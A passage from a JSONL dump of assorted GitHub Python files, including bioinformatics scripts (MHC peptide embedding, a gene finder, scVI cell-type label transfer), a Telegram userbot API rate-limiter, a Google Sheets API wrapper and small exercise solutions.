(Beta sheet, alpha helix res 140-179, alpha helix res 50-84)\nlink2 = 'https://raw.githubusercontent.com/cmb-chula/MHCSeqNet/master/PretrainedModels/sequence_model/AlleleInformation.txt'\nallele_seq = urllib.request.urlopen(link2)\nMHC_sequence_df = MHC_seq_df(allele_seq)\n\n# Finds alleles in training set with known amino acids\nalleles = x['allele']\ngood_idx = alleles.isin(MHC_sequence_df['MHC_allele'])\nclassI_alleles = alleles[good_idx] \n\n\n# In[ ]:\n\n\n# Orders alleles whose amino acid sequences are known by frequency\nmost_common = classI_alleles.value_counts().index.tolist()\n\n# Chooses 10 most common alleles from each HLA class\nHLA_As = []\nHLA_Bs = []\nHLA_Cs = []\nfor allele in most_common:\n if 'HLA-A' in allele and len(HLA_As) < 10:\n HLA_As.append(allele)\n elif 'HLA-B' in allele and len(HLA_Bs) < 10:\n HLA_Bs.append(allele)\n elif 'HLA-C' in allele and len(HLA_Cs) < 10:\n HLA_Cs.append(allele)\n\nchosen_alleles = HLA_As + HLA_Bs + HLA_Cs\nprint(len(chosen_alleles))\n\n\n# In[ ]:\n\n\n# Gets the alleles' amino acid sequences\naa_seqs = MHC_sequence_df.loc[MHC_sequence_df['MHC_allele'].isin(chosen_alleles)]\naa_50_84 = aa_seqs['Alpha_helix_res_50-84']\naa_140_179 = aa_seqs['Alpha_helix_res_140-179']\n# Saves\naa_seqs.to_csv(\"allele_sequences/30_mhc_alleles.csv\")\n\n# Encodes the amino acid sequences for each MHC allele\nalpha_res_50_84_encoding = peptide_encoding(aa_50_84)\nalpha_res_140_179_encoding = peptide_encoding(aa_140_179)\n\n# Embeds each encoding as a (MaxLen * EmbeddingDim) tensor, then stacks all\nembedding_list_50_84 = peptide_embedding(alpha_res_50_84_encoding, 53, pretrained_model)\nembeddings_50_84 = torch.stack(embedding_list_50_84)\n\nembedding_list_140_179 = peptide_embedding(alpha_res_140_179_encoding, 53, pretrained_model)\nembeddings_140_179 = torch.stack(embedding_list_140_179)\n\n# Save\npath1 = '/content/drive/My Drive/Peptide MHC Project/embeddings/common_50_84_embeddings.pt'\ntorch.save(embeddings_50_84, path1)\npath2 = '/content/drive/My Drive/Peptide MHC Project/embeddings/common_140_179_embeddings.pt'\ntorch.save(embeddings_140_179, path2)\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"jeremy-99/Binding-Affinity-of-SARS-CoV-2","sub_path":"embed_coronavirus_peptides.py","file_name":"embed_coronavirus_peptides.py","file_ext":"py","file_size_in_byte":5388,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"5445505469","text":"import os\n\nimport cli\nfrom app import blueprint\nfrom app.main import create_app, db\n\napp = create_app(os.getenv('BOILERPLATE_ENV') or 'dev')\n\napp.register_blueprint(blueprint)\napp.app_context().push()\ncli.register(app)\n\n\n@app.shell_context_processor\ndef make_shell_context():\n return {\n 'db': db\n }\n\n\nif __name__ == '__main__':\n app.run()\n","repo_name":"GruppoProgettoTMM201920-Parthenopeddit/RESTPlusAPI","sub_path":"parthenopeddit.py","file_name":"parthenopeddit.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"27490284229","text":"'''\n\nRemove all elements from a linked list of integers that have value val.\n\nExample:\n\nInput: 1->2->6->3->4->5->6, val = 6\nOutput: 1->2->3->4->5\n\n\n'''\n\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n def removeElements(self, head: ListNode, val: int) -> ListNode:\n\n # Approach one\n last = ListNode(0)\n last.next = first = head\n while first:\n if first.val == val:\n last.next = last.next.next\n if first == head: head = head.next # 删除头结点特殊处理\n else:\n last = first\n first = first.next\n return head\n","repo_name":"OnlyChristmas/leetcode","sub_path":"Python/remove-linked-list-elements.py","file_name":"remove-linked-list-elements.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"53"}
+{"seq_id":"11409448086","text":"# coding=utf-8\nimport requests\nfrom urllib.parse import urljoin\n\n\n__author__ = 'mlaptev'\n\nbase_url = \"https://stepic.org/media/attachments/course67/3.6.3/\"\n\n\ndef get_content_of_latest_file(file_url):\n \"\"\"\n We are the champions, my friends,\n And we'll keep on fighting 'til the end.\n We are the champions.\n We are the champions.\n No time for losers\n 'Cause we are the champions of the world.\n \"\"\"\n r = requests.get(urljoin(base_url, file_url))\n index = 1\n while not r.text.startswith(\"We\"):\n index += 1\n r = requests.get(urljoin(base_url, r.text))\n print(r.text)\n\nif __name__ == \"__main__\":\n with open(\"dataset_3378_3.txt\") as file_with_url:\n get_content_of_latest_file(file_with_url.read().strip())\n","repo_name":"MikeLaptev/sandbox_python","sub_path":"stepic/python_basic/module3/Module3Lesson6Step3.py","file_name":"Module3Lesson6Step3.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"4900802031","text":"\nimport asyncio\nimport io\nimport json\nimport logging\nimport time\n\nfrom telethon.tl.types import Message\nfrom telethon.tl import functions\nfrom telethon.tl.tlobject import TLRequest\n\nfrom .. import loader, utils\nfrom ..inline.types import InlineCall\n\nlogger = logging.getLogger(__name__)\n\nGROUPS = [\n \"auth\",\n \"account\",\n \"users\",\n \"contacts\",\n \"messages\",\n \"updates\",\n \"photos\",\n \"upload\",\n \"help\",\n \"channels\",\n \"bots\",\n \"payments\",\n \"stickers\",\n \"phone\",\n \"langpack\",\n \"folders\",\n \"stats\",\n]\n\n\ndef decapitalize(string: str) -> str:\n return string[0].lower() + string[1:]\n\n\nCONSTRUCTORS = {\n decapitalize(\n method.__class__.__name__.rsplit(\"Request\", 1)[0]\n ): method.CONSTRUCTOR_ID\n for method in utils.array_sum(\n [\n [\n method\n for method in dir(getattr(functions, group))\n if isinstance(method, TLRequest)\n ]\n for group in GROUPS\n ]\n )\n}\n\n\n@loader.tds\nclass APIRatelimiterMod(loader.Module):\n \"\"\"Helps userbot avoid spamming Telegram API\"\"\"\n\n strings = {\n \"name\": \"APILimiter\",\n \"warning\": (\n \"☣️ \"\n \" WARNING! \\n\\nYour account exceeded the limit of requests, specified\"\n \" in config. In order to prevent Telegram API Flood, userbot has been\"\n \" fully frozen for {} seconds. Further info is provided in attached\"\n \" file. \\n\\nIt is recommended to get help in {prefix}support\"\n \" group!\\n\\nIf you think, that it is an intended behavior, then wait until\"\n \" userbot gets unlocked and next time, when you will be going to perform\"\n \" such an operation, use {prefix}suspend_api_protect <time\"\n \" in seconds>\"\n ),\n \"args_invalid\": (\n \"☣️ Invalid arguments \"\n ),\n \"suspended_for\": (\n \"👌 API Flood Protection\"\n \" is disabled for {} seconds \"\n ),\n \"test\": (\n \"☣️ This action will\"\n \" expose your account to flooding Telegram API. In order to confirm,\"\n \" that you really know, what you are doing, complete this simple test -\"\n \" find the emoji, differing from others \"\n ),\n \"on\": (\n \"👌 Protection enabled \"\n ),\n \"off\": (\n \"👌 Protection\"\n \" disabled \"\n ),\n \"u_sure\": (\n \"☣️ Are you sure? \"\n ),\n }\n\n strings_ru = {\n \"warning\": (\n \"☣️ \"\n \" ВНИМАНИЕ! \\n\\nАккаунт вышел за лимиты запросов, указанные в\"\n \" конфиге. С целью предотвращения флуда Telegram API, юзербот был\"\n \" полностью заморожен на {} секунд. Дополнительная информация\"\n \" прикреплена в файле ниже. \\n\\nРекомендуется обратиться за помощью в\"\n \" {prefix}support группу!\\n\\nЕсли ты считаешь, что это\"\n \" запланированное поведение юзербота, просто подожди, пока закончится\"\n \" таймер и в следующий раз, когда запланируешь выполнять такую\"\n \" ресурсозатратную операцию, используй\"\n \" {prefix}suspend_api_protect <время в секундах>\"\n ),\n \"args_invalid\": (\n \"☣️ Неверные\"\n \" аргументы \"\n ),\n \"suspended_for\": (\n \"👌 Защита API отключена\"\n \" на {} секунд \"\n ),\n \"test\": (\n \"☣️ Это действие\"\n \" открывает юзерботу возможность флудить Telegram API. Для того,\"\n \" чтобы убедиться, что ты действительно уверен в том, что делаешь - реши\"\n \" простенький тест - найди отличающийся эмодзи. \"\n ),\n \"on\": \"👌 Защита включена \",\n \"off\": (\n \"👌 Защита отключена \"\n ),\n \"u_sure\": \"☣️ Ты уверен? \",\n }\n\n _ratelimiter = []\n _suspend_until = 0\n _lock = False\n\n def __init__(self):\n self.config = loader.ModuleConfig(\n loader.ConfigValue(\n \"time_sample\",\n 15,\n lambda: \"Time sample through which the bot will count requests\",\n validator=loader.validators.Integer(minimum=1),\n ),\n loader.ConfigValue(\n \"threshold\",\n 100,\n lambda: \"Threshold of requests to trigger protection\",\n validator=loader.validators.Integer(minimum=10),\n ),\n loader.ConfigValue(\n \"local_floodwait\",\n 30,\n lambda: \"Freeze userbot for this amount of time, if request limit exceeds\",\n validator=loader.validators.Integer(minimum=10, maximum=3600),\n ),\n loader.ConfigValue(\n \"forbidden_methods\",\n [\"joinChannel\", \"importChatInvite\"],\n lambda: \"Forbid specified methods from being executed throughout external modules\",\n validator=loader.validators.MultiChoice(\n [\n \"sendReaction\",\n \"joinChannel\",\n \"importChatInvite\",\n ]\n ),\n on_change=lambda: self._client.forbid_constructors(\n map(\n lambda x: CONSTRUCTORS[x], self.config[\"forbidden_constructors\"]\n )\n ),\n ),\n )\n\n async def client_ready(self):\n asyncio.ensure_future(self._install_protection())\n\n async def _install_protection(self):\n await asyncio.sleep(30) # Restart lock\n if hasattr(self._client._call, \"_old_call_rewritten\"):\n raise loader.SelfUnload(\"Already installed\")\n\n old_call = self._client._call\n\n async def new_call(\n sender: \"MTProtoSender\", # type: ignore\n request: \"TLRequest\", # type: ignore\n ordered: bool = False,\n flood_sleep_threshold: int = None,\n ):\n if time.perf_counter() > self._suspend_until and not self.get(\n \"disable_protection\",\n True,\n ):\n request_name = type(request).__name__\n self._ratelimiter += [[request_name, time.perf_counter()]]\n\n self._ratelimiter = list(\n filter(\n lambda x: time.perf_counter() - x[1]\n < int(self.config[\"time_sample\"]),\n self._ratelimiter,\n )\n )\n\n if (\n len(self._ratelimiter) > int(self.config[\"threshold\"])\n and not self._lock\n ):\n self._lock = True\n report = io.BytesIO(\n json.dumps(\n self._ratelimiter,\n indent=4,\n ).encode(\"utf-8\")\n )\n report.name = \"local_fw_report.json\"\n\n await self.inline.bot.send_document(\n self.tg_id,\n report,\n caption=self.strings(\"warning\").format(\n self.config[\"local_floodwait\"],\n prefix=self.get_prefix(),\n ),\n )\n\n # It is intented to use time.sleep instead of asyncio.sleep\n time.sleep(int(self.config[\"local_floodwait\"]))\n self._lock = False\n\n return await old_call(sender, request, ordered, flood_sleep_threshold)\n\n self._client._call = new_call\n self._client._old_call_rewritten = old_call\n self._client._call._acbot_overwritten = True\n logger.debug(\"Successfully installed ratelimiter\")\n\n async def on_unload(self):\n if hasattr(self._client, \"_old_call_rewritten\"):\n self._client._call = self._client._old_call_rewritten\n delattr(self._client, \"_old_call_rewritten\")\n logger.debug(\"Successfully uninstalled ratelimiter\")\n\n @loader.command(ru_doc=\"<время в секундах> - Заморозить защиту API на N секунд\")\n async def suspend_api_protect(self, message: Message):\n \"\"\" - Suspend API Ratelimiter for n seconds\"\"\"\n args = utils.get_args_raw(message)\n\n if not args or not args.isdigit():\n await utils.answer(message, self.strings(\"args_invalid\"))\n return\n\n self._suspend_until = time.perf_counter() + int(args)\n await utils.answer(message, self.strings(\"suspended_for\").format(args))\n\n @loader.command(ru_doc=\"Включить/выключить защиту API\")\n async def api_fw_protection(self, message: Message):\n \"\"\"Toggle API Ratelimiter\"\"\"\n await self.inline.form(\n message=message,\n text=self.strings(\"u_sure\"),\n reply_markup=[\n {\"text\": \"🚫 No\", \"action\": \"close\"},\n {\"text\": \"✅ Yes\", \"callback\": self._finish},\n ],\n )\n\n async def _finish(self, call: InlineCall):\n state = self.get(\"disable_protection\", True)\n self.set(\"disable_protection\", not state)\n await call.edit(self.strings(\"on\" if state else \"off\"))\n","repo_name":"VadymYem/AuthorBot","sub_path":"acbot/modules/api_protection.py","file_name":"api_protection.py","file_ext":"py","file_size_in_byte":10848,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"32934669374","text":"from pprint import pprint\nimport httplib2\nimport apiclient.discovery\nimport oauth2client.clientsecrets as clientsecrets\nfrom oauth2client.client import OAuth2WebServerFlow\nimport googleapiclient.errors\nfrom oauth2client.service_account import ServiceAccountCredentials\nimport re\n\n\ndef coords_to_range(row, col):\n if (not isinstance(row, int)) or (not isinstance(col, int)):\n raise TypeError\n if row < 1 or col < 1:\n raise ValueError\n res = \"\"\n if col > 26:\n res += chr(col // 26 + 64)\n res += chr(col % 26 + 64)\n res += str(row)\n return res\n\n\nclass Auth:\n\n def __init__(self, path_to_secret, scopes):\n self.path_to_secret = path_to_secret\n self.scopes = scopes\n\n def init_flow(self):\n client_type, client_info = clientsecrets.loadfile(\"client_secrets.json\")\n self.client_id = client_info[\"client_id\"]\n self.client_secret = client_info[\"client_secret\"]\n self.auth_uri = client_info[\"auth_uri\"]\n self.token_uri = client_info[\"token_uri\"]\n self.flow = OAuth2WebServerFlow(self.client_id, self.client_secret, str.join(self.scopes))\n\n def get_auth_url(self):\n if self.flow is None:\n self.init_flow()\n return self.flow.step1_get_authorize_url()\n\n def auth(self, auth_code):\n if self.flow is None:\n self.init_flow()\n self.credentials = self.flow.step2_exchange(auth_code)\n\n\n\nclass Client:\n def __init__(self, credentials):\n self.service = apiclient.discovery.build('sheets', 'v4', credentials=credentials)\n self.spreadsheet_collection = self.service.spreadsheets()\n\n\nclass SourceRange:\n sheet_id = None\n start_row_index = None\n end_row_index = None\n start_column_index = None\n end_column_index = None\n\n def __init__(self, start_row_index, start_column_index, end_row_index=None, end_column_index=None):\n if end_row_index is None:\n end_row_index = start_row_index\n if end_column_index is None:\n end_column_index = start_column_index\n self.start_row_index = start_row_index - 1\n self.start_column_index = start_column_index - 1\n self.end_column_index = end_column_index\n self.end_row_index = end_row_index\n\n @property\n def json(self):\n return {\n \"sheetId\": self.sheet_id,\n \"startRowIndex\": self.start_row_index,\n \"endRowIndex\": self.end_row_index,\n \"startColumnIndex\": self.start_column_index,\n \"endColumnIndex\": self.end_column_index\n }\n\n\nclass OverlayPosition:\n sheet_id = None\n row_index = None\n column_index = None\n offset_x_pixels = None\n offset_y_pixels = None\n\n def __init__(self):\n self.row_index = 0\n self.column_index = 0\n self.offset_y_pixels = 0\n self.offset_x_pixels = 0\n pass\n\n @property\n def json(self):\n return {\n \"overlayPosition\": {\n \"anchorCell\": {\n \"sheetId\": self.sheet_id,\n \"rowIndex\": self.row_index,\n \"columnIndex\": self.column_index\n },\n \"offsetXPixels\": self.offset_x_pixels,\n \"offsetYPixels\": self.offset_y_pixels\n }\n }\n\n\nclass Spreadsheet:\n def __init__(self, client: Client, spreadsheet_id):\n if client is not None:\n self.spreadsheet_collection = client.spreadsheet_collection\n self.spreadsheet_id = spreadsheet_id\n self.requests = None\n self.value_ranges = None\n self.current_sheet_id = None\n self.current_sheet_title = None\n self.sheets = None\n self.refresh()\n re_letter_pattern = \"([A-Z])+\"\n re_digit_pattern = \"\\d+\"\n self.r_exp_letter = re.compile(re_letter_pattern)\n self.r_exp_digit = re.compile(re_digit_pattern)\n else:\n self.requests = []\n self.value_ranges = []\n\n # spreadsheets.batchUpdate and spreadsheets.values.batchUpdate\n def refresh(self):\n spreadsheet = self.spreadsheet_collection.get(spreadsheetId=self.spreadsheet_id).execute()\n self.requests = []\n self.value_ranges = []\n self.spreadsheet_id = spreadsheet['spreadsheetId']\n self.current_sheet_id = spreadsheet['sheets'][0]['properties']['sheetId']\n self.current_sheet_title = spreadsheet['sheets'][0]['properties']['title']\n self.sheets = {}\n for sheet in spreadsheet['sheets']:\n self.sheets[sheet['properties']['title']] = sheet['properties']['sheetId']\n\n def execute_queue(self, value_input_option=\"USER_ENTERED\"):\n upd1res = {'replies': []}\n upd2res = {'responses': []}\n try:\n if len(self.requests) > 0:\n upd1res = self.spreadsheet_collection.batchUpdate(spreadsheetId=self.spreadsheet_id,\n body={\"requests\": self.requests}).execute()\n if len(self.value_ranges) > 0:\n upd2res = self.spreadsheet_collection.values().batchUpdate(spreadsheetId=self.spreadsheet_id,\n body={\"valueInputOption\": value_input_option,\n \"data\": self.value_ranges}).execute()\n finally:\n self.requests = []\n self.value_ranges = []\n return upd1res['replies'], upd2res['responses']\n\n def prepare_add_sheet(self, sheet_title, rows=100, cols=100):\n self.requests.append({\"addSheet\": {\"properties\": {\"title\": sheet_title,\n 'gridProperties': {'rowCount': rows, 'columnCount': cols}}}})\n\n def prepare_delete_sheet(self, sheet_id):\n self.requests.append(\n {\n \"deleteSheet\": {\n \"sheetId\": sheet_id\n }\n })\n\n # Adds new sheet to current spreadsheet, sets as current sheet and returns it's id\n def add_sheet(self, sheet_title, rows=100, cols=100):\n self.prepare_add_sheet(sheet_title, rows, cols)\n added_sheet = self.execute_queue()[0][0]['addSheet']['properties']\n self.current_sheet_id = added_sheet['sheetId']\n self.current_sheet_title = added_sheet['title']\n return self.current_sheet_id\n\n def set_sheet_by_title(self, title):\n if title in self.sheets:\n self.current_sheet_id = self.sheets[title]\n self.current_sheet_title = title\n return True\n else:\n return False\n\n def cell_to_indexes(self, cell):\n column_index_str = self.r_exp_letter.match(cell).group()\n i = len(column_index_str)\n column_index = 0\n for letter in column_index_str:\n column_index += (26 ** (i - 1)) * (ord(letter) - ord('A') + 1)\n i -= 1\n column_index -= 1\n if self.r_exp_digit.search(cell):\n row_index_str = self.r_exp_digit.search(cell).group()\n row_index = int(row_index_str)\n else:\n row_index = None\n return column_index, row_index\n\n\n # Converts string range to GridRange of current sheet; examples:\n # \"A3:B4\"->{sheetId: id of current sheet, startRowIndex: 2, endRowIndex: 4, startColumnIndex: 0, endColumnIndex: 2}\n # \"A5:B\" ->{sheetId: id of current sheet, startRowIndex: 4, startColumnIndex: 0, endColumnIndex: 2}\n def to_grid_range(self, cells_range):\n if isinstance(cells_range, str):\n start_cell, end_cell = cells_range.split(\":\")[0:2]\n cells_range = {}\n cells_range[\"startColumnIndex\"], cells_range[\"startRowIndex\"] = self.cell_to_indexes(start_cell)\n cells_range[\"endColumnIndex\"], cells_range[\"endRowIndex\"] = self.cell_to_indexes(end_cell)\n if cells_range[\"startRowIndex\"] is None:\n del cells_range[\"startRowIndex\"]\n if cells_range[\"endRowIndex\"] is None:\n del cells_range[\"endRowIndex\"]\n\n cells_range[\"sheetId\"] = self.current_sheet_id\n return cells_range\n\n def prepare_set_dimension_pixel_size(self, dimension, start_index, end_index, pixel_size):\n self.requests.append({\"updateDimensionProperties\": {\n \"range\": {\"sheetId\": self.current_sheet_id,\n \"dimension\": dimension,\n \"startIndex\": start_index,\n \"endIndex\": end_index},\n \"properties\": {\"pixelSize\": pixel_size},\n \"fields\": \"pixelSize\"}})\n\n def prepare_set_columns_width(self, start_col, end_col, width):\n self.prepare_set_dimension_pixel_size(\"COLUMNS\", start_col, end_col + 1, width)\n\n def prepare_set_column_width(self, col, width):\n self.prepare_set_columns_width(col, col, width)\n\n def prepare_set_rows_height(self, start_row, end_row, height):\n self.prepare_set_dimension_pixel_size(\"ROWS\", start_row, end_row + 1, height)\n\n def prepare_set_row_height(self, row, height):\n self.prepare_set_rows_height(row, row, height)\n\n def prepare_set_values(self, cells_range, values, major_dimension=\"ROWS\"):\n \"\"\"\n Prepares a range of cells to be updated with given values\n :param cells_range: range of cells to be updated\n :param values: list of lists of values\n :param major_dimension: role of inner lists in values (ex. with param value=ROWS method will write inner lists\n to sheet as rows)\n :return:\n \"\"\"\n self.value_ranges.append({\"range\": self.current_sheet_title + \"!\" + cells_range,\n \"majorDimension\": major_dimension, \"values\": values})\n\n def prepare_set_value(self, cell_index, value):\n cells_range = cell_index + \":\" + cell_index\n values = [[value]]\n self.prepare_set_values(cells_range, values)\n\n def prepare_merge_cells(self, cells_range, merge_type =\"MERGE_ALL\"):\n self.requests.append({\"mergeCells\": {\"range\": self.to_grid_range(cells_range), \"mergeType\": merge_type}})\n\n # formatJSON should be dict with userEnteredFormat to be applied to each cell\n def prepare_set_cells_format(self, cells_range, format_json, fields=\"userEnteredFormat\"):\n self.requests.append({\"repeatCell\": {\"range\": self.to_grid_range(cells_range),\n \"cell\": {\"userEnteredFormat\": format_json}, \"fields\": fields}})\n\n # formatsJSON should be list of lists of dicts with userEnteredFormat for each cell in each row\n def prepare_set_cells_formats(self, cells_range, formats_json, fields=\"userEnteredFormat\"):\n rows_value = [{\"values\": [{\"userEnteredFormat\": cellFormat} for cellFormat in rowFormats]} for rowFormats in formats_json]\n self.requests.append({\"updateCells\": {\"range\": self.to_grid_range(cells_range),\n \"rows\": rows_value,\n \"fields\": fields}})\n\n def prepare_set_frozen(self, rows, columns):\n self.requests.append(\n {\n \"updateSheetProperties\": {\n \"properties\": {\n \"sheetId\": self.current_sheet_id,\n \"gridProperties\": {\n \"frozenRowCount\": rows,\n }\n },\n \"fields\": \"gridProperties.frozenRowCount\"\n }\n }\n )\n self.requests.append(\n {\n \"updateSheetProperties\": {\n \"properties\": {\n \"sheetId\": self.current_sheet_id,\n \"gridProperties\": {\n \"frozenColumnCount\": columns\n }\n },\n \"fields\": \"gridProperties.frozenColumnCount\"\n }\n }\n )\n\n def prepare_add_pie_chart(self, title, domain: SourceRange, series: SourceRange, position: OverlayPosition):\n # series_list = [{\n # \"series\": {\n # \"sourceRange\": {\n # \"sources\": [\n # i.json\n # ]\n # }\n # }\n # } for i in series_ranges]\n\n self.requests.append(\n {\n \"addChart\": {\n \"chart\": {\n \"spec\": {\n \"title\": title,\n \"pieChart\": {\n \"legendPosition\": \"RIGHT_LEGEND\",\n \"threeDimensional\": False,\n \"domain\": {\n \"sourceRange\": {\n \"sources\": [\n domain.json\n ]\n }\n },\n \"series\": {\n \"sourceRange\": {\n \"sources\": [\n series.json\n ]\n }\n }\n }\n },\n \"position\": position.json\n }\n }\n }\n )\n\n\n\n\n","repo_name":"skyhound/gsapiv4","sub_path":"gsapiv4.py","file_name":"gsapiv4.py","file_ext":"py","file_size_in_byte":13622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"71453716647","text":"# -*- coding: utf-8 -*-\n\n\nwith open(\"nissle_genom.txt\",\"r\") as file:\n gene_seq = file.read()\n def pre_gene_sequence(gene, length):\n i=0\n potential_list =[]\n while i < len(gene_seq):\n gene_index = gene_seq.find(gene,i)\n if gene_index==-1: \n if len(potential_list)==0:\n return \"can not find the gene sequence\"\n else:\n return potential_list\n else: \n potential_list.append(gene_seq[gene_index-1-length:gene_index-1])\n i = gene_index+1\n \n \n \n def frequency(sequence):\n i=0\n n=0\n while i < len(gene_seq):\n gene_index = gene_seq.find(sequence,i)\n if gene_index==-1:\n return n \n else:\n i = gene_index+1\n n+=1\n \n def freq_pre_gene(gene,length):\n potential_list = pre_gene_sequence(gene,length)\n freq_list = []\n if type(potential_list) == \"list\":\n for i in potential_list:\n freq_list.append(frequency(i))\n return potential_list, freq_list\n else:\n return \"can not find the gene sequence\"\n \n print (freq_pre_gene(\"tttaaaatatq\",10))\n \n\n \n \n \n \n\n \n \n \n \n\n\n\n \n\n\n","repo_name":"igemlund/genefind","sub_path":"findgene.py","file_name":"findgene.py","file_ext":"py","file_size_in_byte":1379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"74516369128","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\nimport sys\n\nimport anndata as ad\nimport scanpy as sc\nimport scvi\n\n\ndef load_hypomap(fpath, annotation_column='C25_named'):\n \"\"\"A function to loadthe hypomap data\"\"\"\n adata_ref = sc.read(fpath)\n adata_ref = adata_ref.raw.to_adata() # recover raw counts\n # assign the celltype from the cluster 25 column\n adata_ref.obs[\"celltype\"] = adata_ref.obs[annotation_column] # note that there are other cluster results in .obs\n adata_ref.obs[\"batch\"] = 'reference'\n adata_ref.var_names = adata_ref.var['feature_name'] # set gene names as column headers\n return adata_ref\n\n\ndef load_data(data_path, data={}):\n \"\"\"A function to load our data \n \n data may contain completmentary adata objects to be included \n in the merge\n \"\"\"\n for f in os.listdir(data_path):\n fullpath = f\"{data_path}{f}\"\n key = f.replace(\".h5ad\", \"\")\n batch_andata = sc.read(fullpath)\n batch_andata.obs['batch'] = key\n batch_andata.obs[\"celltype\"] = 'Unknown'\n data[key] = batch_andata\n\n adata = ad.concat(data, index_unique=\"_\") # combine all the experiments\n \n # set the counts as the main layer \n adata.layers[\"counts\"] = adata.X.copy()\n adata.raw = adata\n return adata\n\n\ndef get_predictions(adata):\n \"\"\"A function to return the predicted cell types for our data\"\"\"\n df = adata.obs.copy()\n df = df[df['batch'] != 'reference']\n df = df.reset_index(drop=False)\n return df\n \n \n\nif __name__ == \"__main__\":\n\n \"\"\"ARGS\"\"\"\n SAMPLES_PER_EPOCH = 1000\n EPOCHS = 20\n SAMPLE_FRACTION = 1.0\n # ANNOTATION = 'C25_named'\n ANNOTATION = 'C7_named'\n \n \n \"\"\"Define paths \"\"\"\n hypomap_reference = \"/nfs/turbo/umms-indikar/shared/projects/MC3R/hypomap/hypomap.h5ad\"\n data_path = \"/nfs/turbo/umms-indikar/shared/projects/MC3R/h5ad_files/\" # path to our cleaned .h5ad files\n output_path = f\"/nfs/turbo/umms-indikar/shared/projects/MC3R/hypomap/predictions_reference_embedding_{ANNOTATION}.csv\"\n\n \"\"\" Load data \"\"\"\n adata_ref = load_hypomap(hypomap_reference, \n annotation_column=ANNOTATION)\n\n ## sample the reference data\n adata_ref = sc.pp.subsample(adata_ref, \n fraction=SAMPLE_FRACTION, \n copy=True)\n\n adata_ref.layers[\"counts\"] = adata_ref.X.copy() # store the raw counts\n\n # data is not passed into a combined loader\n adata = load_data(data_path)\n\n print()\n print(adata.obs['celltype'].value_counts())\n print()\n\n \"\"\" create a reference embedding from the hypomap data \"\"\"\n scvi.model.SCVI.setup_anndata(adata_ref, \n layer=\"counts\", \n batch_key=\"batch\")\n \n ref_model = scvi.model.SCVI(adata_ref, \n n_latent=30,\n use_layer_norm=\"both\",\n use_batch_norm=\"none\",\n encode_covariates=True,\n dropout_rate=0.2,\n n_layers=2,)\n \n \n ref_model.train(max_epochs=EPOCHS)\n\n \"\"\"set up and train transfer model with the reference data \"\"\"\n celltype_model = scvi.model.SCANVI.from_scvi_model(\n ref_model,\n unlabeled_category=\"Unknown\",\n labels_key='celltype',\n )\n\n\n celltype_model.train(max_epochs=EPOCHS, \n n_samples_per_label=SAMPLES_PER_EPOCH)\n\n\n \"\"\" build and train the tranfer model with our data \"\"\"\n scvi.model.SCANVI.prepare_query_anndata(adata, celltype_model)\n transfer_model = scvi.model.SCANVI.load_query_data(adata, celltype_model)\n \n transfer_model.train(\n max_epochs=EPOCHS,\n plan_kwargs={\"weight_decay\": 0.0},\n )\n\n\n \"\"\" predict the labels \"\"\"\n adata.obs['predicted_celltype'] = transfer_model.predict()\n\n \"\"\"Extract the predictions \"\"\"\n pred = get_predictions(adata)\n\n pred.to_csv(output_path, index=False)\n print(f\"saved: {output_path}\")\n\n print()\n print(pred['predicted_celltype'].value_counts())\n print()\n \n\n \n\n\n\n\n\n\n\n\n\n\n\n ########################################################################################################################\n ########################################################################################################################\n ########################################################################################################################\n ########################################################################################################################\n # ########################################################################################################################\n # scvi.model.SCVI.setup_anndata(adata, \n # layer=\"counts\", \n # batch_key=\"batch\",)\n \n # model = scvi.model.SCVI(adata, \n # n_layers=2, \n # n_latent=30)\n\n # \"\"\" TRAIN THE EMBEDDING \"\"\"\n # model.train(max_epochs=EPOCHS)\n\n # # add latent representation to data object\n # SCVI_LATENT_KEY = \"X_scVI\"\n # adata.obsm[SCVI_LATENT_KEY] = model.get_latent_representation()\n\n # # set up the label transfer\n # scanvi_model = scvi.model.SCANVI.from_scvi_model(\n # model,\n # adata=adata,\n # labels_key=\"celltype\",\n # unlabeled_category=\"Unknown\",\n # )\n\n # \"\"\" TRAIN THE LABEL TRANSFER \"\"\"\n # scanvi_model.train(max_epochs=EPOCHS, \n # n_samples_per_label=SAMPLES_PER_EPOCH)\n\n # # add new latent representation and predictions to data object\n # SCANVI_LATENT_KEY = \"X_scANVI\"\n # adata.obsm[SCANVI_LATENT_KEY] = scanvi_model.get_latent_representation(adata)\n # adata.obs['predicted_celltype'] = scanvi_model.predict(adata)\n\n # \"\"\"Extract the predictions \"\"\"\n # pred = get_predictions(adata)\n\n # pred.to_csv(output_path, index=False)\n # print(f\"saved: {output_path}\")\n\n # print()\n # print(pred['predicted_celltype'].value_counts())\n # print()\n \n \n\n \n \n\n\n","repo_name":"CooperStansbury/MC3R","sub_path":"scripts/train_hypomap_reference_embedding.py","file_name":"train_hypomap_reference_embedding.py","file_ext":"py","file_size_in_byte":6301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
